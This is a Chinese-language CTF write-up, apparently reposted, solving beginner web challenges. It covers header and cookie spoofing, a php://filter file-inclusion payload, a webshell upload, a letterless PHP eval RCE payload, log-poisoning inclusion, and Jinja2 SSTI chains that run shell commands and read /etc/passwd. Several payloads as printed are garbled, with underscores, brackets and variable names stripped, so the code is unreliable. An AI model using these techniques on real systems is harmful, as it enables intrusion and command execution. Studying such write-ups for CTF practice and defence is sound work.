interesting_http:
post一个参数want试试,发现有反应,然后使want=flag
显示not admin,不要紧,抓包看到cookie是明文,且有user=notadmin,改成user=admin即可。
显示not location,这个考的是经验,一般验证本机是admin都要附加验证来源,伪造一个请求头来源:
X-Forwarded-for:127.0.0.1即可拿到flag
[Week1]2048
一个2048小游戏,20000分通关(感觉手打也能成功哈
但是聪明的ctfer从来不走正道,抓个包看看,啥也没有,推测是js,审计源码看到一个2048.js,进去再看
还是写了不少,还有很多乱码,应该是编码问题,加上这个排版,真的很难看,没有细细往下看,直接搜了score,找到游戏结束的逻辑判定
复制一下那段js语句丢到控制台就能拿到flag啦
啊,要记得改前缀噢
[Week1]easy_html
出人意料的简单...,首页提示查看饼干(cookie)
转换一下编码,是./f14g.php
于是转到f14g.php,是一个手机号验证,输入正确的手机号格式就能拿到flag。(我一开始就用burp发包过去的所以没察觉,之后看了眼题目,通过页面是输入不了十一位数字的,当然也可以用hackbar,没差)
[Week1]Interesting_include
简单文件包含,首页提示flag在flag.php
payload:
?filter=php://filter/convert.base64-encode/resource=flag.php
得到flag.php转码之后的base64字符串,重新解码即可拿到flag
(我也不知道为什么题目过滤了flag我还能直接用上flag.php。。)
[Week1]easy_upload
一个文件上传,啥也没过滤
直接传马
然后到upload/1.php去看,马写成功了,直接传命令拿flag
[Week1]What is Web
看似一个简单的web页面,实则内藏flag,题目给出一个burp,摆明了让你抓包,果断抓包查看返回结果,一个简单base64解码,拿到flag。
[Week1]Challenge__rce
一开始网页空白,查看源代码可得hint
get方式传一个hint参数,查看源码了解这是一个代码执行漏洞题型
存在eval函数,观察正则过滤,是一个无字母rce题型,写一个小脚本看看还能用啥
<?php
for($i=1;$i<255;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))){
echo chr($i).'<br>';
}
}
其实能用的还是挺多的,利用 [],拿到array字符串,提取其中的a字母,构造一下payload
Payload:
$.=[];$=$[3];$++;$++;$__=$;$++;$++;$++;$++;$=$__.++$.$_[2];$=_.$(71).$(69).$(84);$$_1;
难点是长度小于等于120...本payload刚好卡在120这里(擦汗)
为了不超过限定长度,构造的是$_GET1; , 因此还需要传参拿到flag
上payload的时候记得url编码,不然特殊符号被转义了,执行不出来的
[WEEK2]easy_include
要求传入一个file参数,且对file进行了一些过滤,主要是伪协议方面
恰巧日志文件包含是不需要使用伪协议的,waf中也并没有过滤斜杠,给了足够的利用空间。
先试试?file=/etc/passwd
包含成功了,那么接下来就是日志文件包含正常的ua写马上传日志执行命令
[WEEK2]ez_SSTI
传一个name参数进去,有反应。
再验证ssti漏洞的存在。
找到我们要利用的类,在第138个。
看起来没有任何过滤 利用一个最简单的payload就能拿下。
payload:
?name={{().class.bases[0].subclasses()[137].init.globals.builtins'eval'.popen('cat f*').read()")}}
[WEEK3]ssssti
过滤了blacklist = [''', '"', 'args', 'os', '_']
使用request.cookies进行绕过
首先构造一个{{().class.bases[0].subclasses()}}查看子类
cookies的添加在后文有提到,拿到所有子类后筛选可用的子类
这里找的是<class 'warnings.catch_warnings'>,在第60个
原payload:
{}.class.bases[0].subclasses()[59].init.globals['builtins']'import'.getstatusoutput('ls')
修改后的payload:
?name={{()[request.cookies.a][request.cookies.b][0]request.cookies.c[59][request.cookies.d][request.cookies.e][request.cookies.f]request.cookies.g.getstatusoutput(request.cookies.i)}}
cookie的设置:
再提供一个file子类的做法:
file子类在第41个。
原payload:
{{ ''[request.args.class][request.args.mro][2]request.args.subclasses40.read() }}
修改后的payload:
?name={{()[request.cookies.a][request.cookies.b][0]request.cookies.c40.read()}}
这里成功拿到了/etc/passwd
接下来包含flag
拿到了,这里是略微取巧了,如果不知道flag的位置和名称,就没办法利用file子类读取了
版权归原作者 GSflyy 所有, 如有侵权,请联系我们删除。